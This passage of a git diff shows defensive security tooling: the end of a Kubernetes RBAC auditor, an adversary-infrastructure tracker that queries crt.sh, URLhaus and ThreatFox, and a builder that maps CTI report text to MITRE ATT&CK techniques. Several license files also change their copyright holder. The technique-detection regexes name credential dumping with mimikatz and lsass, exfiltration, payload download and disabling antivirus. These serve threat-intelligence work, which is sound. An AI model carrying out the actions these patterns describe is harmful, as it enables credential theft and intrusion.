critical = [f for f in all_findings if f.get("severity") == "critical"]
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"total_findings": len(all_findings),
|
||||
"critical": len(critical),
|
||||
"role_findings": role_findings,
|
||||
"binding_findings": binding_findings,
|
||||
"service_account_findings": sa_findings,
|
||||
}
|
||||
print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent")
|
||||
parser.add_argument("--kubeconfig", help="Path to kubeconfig file")
|
||||
parser.add_argument("--output", default="rbac_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
rbac_api, core_api = load_kube_config(args.kubeconfig)
|
||||
role_findings = audit_cluster_roles(rbac_api)
|
||||
binding_findings = audit_role_bindings(rbac_api)
|
||||
sa_findings = audit_service_accounts(core_api, rbac_api)
|
||||
report = generate_report(role_findings, binding_findings, sa_findings)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,53 @@
|
||||
# API Reference: Adversary Infrastructure Tracking
|
||||
|
||||
## crt.sh (Certificate Transparency)
|
||||
```
|
||||
GET https://crt.sh/?q=%.example.com&output=json
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `issuer_name` | Certificate issuer |
|
||||
| `name_value` | SANs / common names |
|
||||
| `serial_number` | Certificate serial |
|
||||
| `not_before` / `not_after` | Validity period |
|
||||
|
||||
## URLhaus API
|
||||
```
|
||||
POST https://urlhaus-api.abuse.ch/v1/host/
|
||||
Body: host=example.com
|
||||
```
|
||||
Returns malicious URLs hosted on the domain.
|
||||
|
||||
## ThreatFox API
|
||||
```
|
||||
POST https://threatfox-api.abuse.ch/api/v1/
|
||||
Body: {"query": "search_ioc", "search_term": "1.2.3.4"}
|
||||
```
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `ioc` | IOC value |
|
||||
| `threat_type` | botnet_cc, payload_delivery, etc. |
|
||||
| `malware` | Associated malware family |
|
||||
| `tags` | IOC tags |
|
||||
|
||||
## Pivoting Techniques
|
||||
| Pivot | Method |
|
||||
|-------|--------|
|
||||
| Certificate SANs | crt.sh wildcard search |
|
||||
| Shared IP | PassiveTotal, VirusTotal |
|
||||
| WHOIS registrant | WHOIS history |
|
||||
| DNS history | PassiveDNS (Farsight, CIRCL) |
|
||||
| JARM fingerprint | TLS server fingerprinting |
|
||||
| HTTP response hash | Favicon hash, body hash |
|
||||
|
||||
## Infrastructure Relationships
|
||||
| Edge Type | Description |
|
||||
|-----------|-------------|
|
||||
| shared_certificate | Same TLS cert on different hosts |
|
||||
| shared_ip | Multiple domains on same IP |
|
||||
| shared_registrant | Same WHOIS registrant |
|
||||
| shared_nameserver | Same NS records |
|
||||
|
||||
## MITRE ATT&CK
|
||||
- T1583 - Acquire Infrastructure
|
||||
- T1584 - Compromise Infrastructure
|
||||
@@ -0,0 +1,116 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Adversary Infrastructure Tracking Agent - Tracks threat actor infrastructure using passive DNS and certificate transparency."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from collections import defaultdict
|
||||
|
||||
import requests
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def query_crtsh(domain):
|
||||
"""Query crt.sh certificate transparency for domain certificates."""
|
||||
resp = requests.get(f"https://crt.sh/?q=%.{domain}&output=json", timeout=30)
|
||||
resp.raise_for_status()
|
||||
certs = resp.json()
|
||||
logger.info("crt.sh: %d certificates for %s", len(certs), domain)
|
||||
return certs
|
||||
|
||||
|
||||
def query_urlhaus(ioc, ioc_type="host"):
|
||||
"""Query URLhaus for malicious URL hosting information."""
|
||||
resp = requests.post("https://urlhaus-api.abuse.ch/v1/host/", data={ioc_type: ioc}, timeout=15)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
|
||||
def query_threatfox(ioc):
|
||||
"""Query ThreatFox for IOC intelligence."""
|
||||
resp = requests.post("https://threatfox-api.abuse.ch/api/v1/", json={"query": "search_ioc", "search_term": ioc}, timeout=15)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
|
||||
|
||||
def pivot_on_certificate(cert_data):
|
||||
"""Pivot on certificate data to find related infrastructure."""
|
||||
related_domains = set()
|
||||
issuers = defaultdict(list)
|
||||
for cert in cert_data:
|
||||
name_value = cert.get("name_value", "")
|
||||
for domain in name_value.split("\n"):
|
||||
domain = domain.strip().lstrip("*.")
|
||||
if domain:
|
||||
related_domains.add(domain)
|
||||
issuer = cert.get("issuer_name", "")
|
||||
issuers[issuer].append(cert.get("serial_number", ""))
|
||||
return {"related_domains": sorted(related_domains), "issuers": {k: len(v) for k, v in issuers.items()}}
|
||||
|
||||
|
||||
def build_infrastructure_map(seed_iocs, ioc_types):
|
||||
"""Build infrastructure map from seed IOCs."""
|
||||
infra_map = {"nodes": [], "edges": [], "iocs": {}}
|
||||
for ioc, itype in zip(seed_iocs, ioc_types):
|
||||
node = {"ioc": ioc, "type": itype, "sources": []}
|
||||
if itype == "domain":
|
||||
try:
|
||||
certs = query_crtsh(ioc)
|
||||
pivot = pivot_on_certificate(certs)
|
||||
node["ct_domains"] = pivot["related_domains"][:20]
|
||||
node["sources"].append("crt.sh")
|
||||
for related in pivot["related_domains"][:5]:
|
||||
infra_map["edges"].append({"from": ioc, "to": related, "relation": "shared_certificate"})
|
||||
except requests.RequestException as e:
|
||||
node["ct_error"] = str(e)
|
||||
try:
|
||||
urlhaus = query_urlhaus(ioc, "host" if itype == "domain" else "host")
|
||||
if urlhaus.get("query_status") == "ok" and urlhaus.get("urls"):
|
||||
node["urlhaus_urls"] = len(urlhaus.get("urls", []))
|
||||
node["sources"].append("urlhaus")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
try:
|
||||
tf = query_threatfox(ioc)
|
||||
if tf.get("query_status") == "ok" and tf.get("data"):
|
||||
node["threatfox_hits"] = len(tf["data"])
|
||||
node["sources"].append("threatfox")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
infra_map["nodes"].append(node)
|
||||
infra_map["iocs"][ioc] = node
|
||||
return infra_map
|
||||
|
||||
|
||||
def generate_report(infra_map, seed_iocs):
|
||||
"""Generate infrastructure tracking report."""
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"seed_iocs": seed_iocs,
|
||||
"nodes_discovered": len(infra_map["nodes"]),
|
||||
"edges_discovered": len(infra_map["edges"]),
|
||||
"infrastructure_map": infra_map,
|
||||
}
|
||||
print(f"INFRA REPORT: {len(infra_map['nodes'])} nodes, {len(infra_map['edges'])} edges")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Adversary Infrastructure Tracking Agent")
|
||||
parser.add_argument("--iocs", nargs="+", required=True, help="Seed IOCs (domains/IPs)")
|
||||
parser.add_argument("--types", nargs="+", required=True, help="IOC types (domain/ip)")
|
||||
parser.add_argument("--output", default="infra_tracking_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
infra_map = build_infrastructure_map(args.iocs, args.types)
|
||||
report = generate_report(infra_map, args.iocs)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# API Reference: Attack Pattern Library from CTI Reports
|
||||
|
||||
## Technique Extraction Patterns
|
||||
| Technique | Regex Pattern |
|
||||
|-----------|--------------|
|
||||
| T1566.001 | `spearphish.*attach` |
|
||||
| T1059.001 | `powershell`, `invoke-expression` |
|
||||
| T1053.005 | `scheduled task`, `schtasks` |
|
||||
| T1547.001 | `registry run key`, `CurrentVersion\\Run` |
|
||||
| T1003.001 | `lsass`, `credential dump`, `mimikatz` |
|
||||
| T1486 | `ransomware encrypt` |
|
||||
| T1048 | `exfiltration`, `data theft` |
|
||||
|
||||
## IOC Extraction Regex
|
||||
| IOC Type | Pattern |
|
||||
|----------|---------|
|
||||
| IPv4 | `\b(?:\d{1,3}\.){3}\d{1,3}\b` |
|
||||
| Domain | `[a-zA-Z0-9-]+\.(?:com\|net\|org)` |
|
||||
| MD5 | `[a-fA-F0-9]{32}` |
|
||||
| SHA-256 | `[a-fA-F0-9]{64}` |
|
||||
| Defanged URL | `hxxps?://[^\s]+` |
|
||||
| Explicit technique | `T\d{4}(?:\.\d{3})?` |
|
||||
|
||||
## STIX Attack Pattern
|
||||
```json
|
||||
{
|
||||
"type": "attack-pattern",
|
||||
"name": "Spearphishing Attachment",
|
||||
"external_references": [
|
||||
{"source_name": "mitre-attack", "external_id": "T1566.001"}
|
||||
],
|
||||
"kill_chain_phases": [
|
||||
{"phase_name": "initial-access"}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
## Library Output Structure
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `technique_frequency` | Count per technique across reports |
|
||||
| `technique_report_map` | Which reports mention each technique |
|
||||
| `total_unique_techniques` | Distinct techniques found |
|
||||
|
||||
## MITRE ATT&CK STIX Data
|
||||
```
|
||||
https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json
|
||||
```
|
||||
@@ -0,0 +1,127 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Attack Pattern Library Builder Agent - Extracts attack patterns from CTI reports and maps to MITRE ATT&CK."""
|
||||
|
||||
import json
|
||||
import re
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from collections import Counter, defaultdict
|
||||
|
||||
import requests
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TECHNIQUE_PATTERNS = {
|
||||
"T1566.001": [r"spearphish(?:ing)?\s+attach", r"malicious\s+(?:email\s+)?attachment"],
|
||||
"T1566.002": [r"spearphish(?:ing)?\s+link", r"phishing\s+(?:url|link)"],
|
||||
"T1059.001": [r"powershell", r"invoke-(?:expression|command|webrequest)"],
|
||||
"T1059.003": [r"cmd\.exe", r"command\s+(?:prompt|shell|line)"],
|
||||
"T1053.005": [r"scheduled\s+task", r"schtasks"],
|
||||
"T1547.001": [r"registry\s+run\s+key", r"autostart", r"CurrentVersion\\\\Run"],
|
||||
"T1003.001": [r"lsass", r"credential\s+dump", r"mimikatz"],
|
||||
"T1021.001": [r"remote\s+desktop", r"rdp\s+lateral"],
|
||||
"T1021.002": [r"smb\s+share", r"admin\s*\$", r"C\s*\$\s+share"],
|
||||
"T1071.001": [r"http\s+c2", r"web\s+(?:beacon|c2)", r"https?\s+callback"],
|
||||
"T1486": [r"encrypt(?:ion|ed)\s+(?:file|data)", r"ransomware\s+encrypt"],
|
||||
"T1048": [r"exfiltrat(?:e|ion)", r"data\s+(?:theft|steal|upload)"],
|
||||
"T1105": [r"download(?:ed)?\s+(?:payload|malware|tool)", r"ingress\s+tool\s+transfer"],
|
||||
"T1027": [r"obfuscat(?:e|ion|ed)", r"encoded\s+(?:payload|script)"],
|
||||
"T1562.001": [r"disable\s+(?:antivirus|defender|security)", r"tamper\s+protection"],
|
||||
}
|
||||
|
||||
|
||||
def extract_techniques_from_text(text):
|
||||
"""Extract MITRE ATT&CK techniques from report text."""
|
||||
text_lower = text.lower()
|
||||
matched = {}
|
||||
for tech_id, patterns in TECHNIQUE_PATTERNS.items():
|
||||
for pattern in patterns:
|
||||
if re.search(pattern, text_lower):
|
||||
matched[tech_id] = {"pattern_matched": pattern, "technique_id": tech_id}
|
||||
break
|
||||
explicit = re.findall(r"T\d{4}(?:\.\d{3})?", text)
|
||||
for tid in explicit:
|
||||
if tid not in matched:
|
||||
matched[tid] = {"pattern_matched": "explicit_reference", "technique_id": tid}
|
||||
return matched
|
||||
|
||||
|
||||
def extract_iocs_from_text(text):
|
||||
"""Extract IOCs from report text."""
|
||||
iocs = {
|
||||
"ips": list(set(re.findall(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", text))),
|
||||
"domains": list(set(re.findall(r"\b(?:[a-zA-Z0-9-]+\.)+(?:com|net|org|io|xyz|top|info|ru|cn)\b", text))),
|
||||
"hashes_md5": list(set(re.findall(r"\b[a-fA-F0-9]{32}\b", text))),
|
||||
"hashes_sha256": list(set(re.findall(r"\b[a-fA-F0-9]{64}\b", text))),
|
||||
"urls": list(set(re.findall(r"hxxps?://[^\s<>\"]+", text))),
|
||||
}
|
||||
return iocs
|
||||
|
||||
|
||||
def process_report(report_text, report_name=""):
|
||||
"""Process a single CTI report to extract attack patterns."""
|
||||
techniques = extract_techniques_from_text(report_text)
|
||||
iocs = extract_iocs_from_text(report_text)
|
||||
return {
|
||||
"report_name": report_name,
|
||||
"techniques_found": len(techniques),
|
||||
"technique_ids": list(techniques.keys()),
|
||||
"technique_details": techniques,
|
||||
"ioc_counts": {k: len(v) for k, v in iocs.items()},
|
||||
"iocs": iocs,
|
||||
}
|
||||
|
||||
|
||||
def build_pattern_library(processed_reports):
|
||||
"""Build a consolidated attack pattern library from multiple reports."""
|
||||
technique_frequency = Counter()
|
||||
technique_reports = defaultdict(list)
|
||||
for report in processed_reports:
|
||||
for tid in report["technique_ids"]:
|
||||
technique_frequency[tid] += 1
|
||||
technique_reports[tid].append(report["report_name"])
|
||||
library = {
|
||||
"technique_frequency": dict(technique_frequency.most_common()),
|
||||
"technique_report_map": {t: r for t, r in technique_reports.items()},
|
||||
"total_unique_techniques": len(technique_frequency),
|
||||
"total_reports_processed": len(processed_reports),
|
||||
}
|
||||
return library
|
||||
|
||||
|
||||
def generate_report(processed_reports, library):
|
||||
"""Generate attack pattern library report."""
|
||||
report = {
|
||||
"timestamp": datetime.utcnow().isoformat(),
|
||||
"library": library,
|
||||
"report_details": processed_reports,
|
||||
}
|
||||
print(f"PATTERN LIBRARY: {library['total_unique_techniques']} techniques from {library['total_reports_processed']} reports")
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Attack Pattern Library Builder Agent")
|
||||
parser.add_argument("--report-files", nargs="+", required=True, help="CTI report text files")
|
||||
parser.add_argument("--output", default="pattern_library.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
processed = []
|
||||
for filepath in args.report_files:
|
||||
with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
|
||||
text = f.read()
|
||||
result = process_report(text, filepath)
|
||||
processed.append(result)
|
||||
logger.info("Processed %s: %d techniques", filepath, result["techniques_found"])
|
||||
|
||||
library = build_pattern_library(processed)
|
||||
report = generate_report(processed, library)
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
logger.info("Report saved to %s", args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user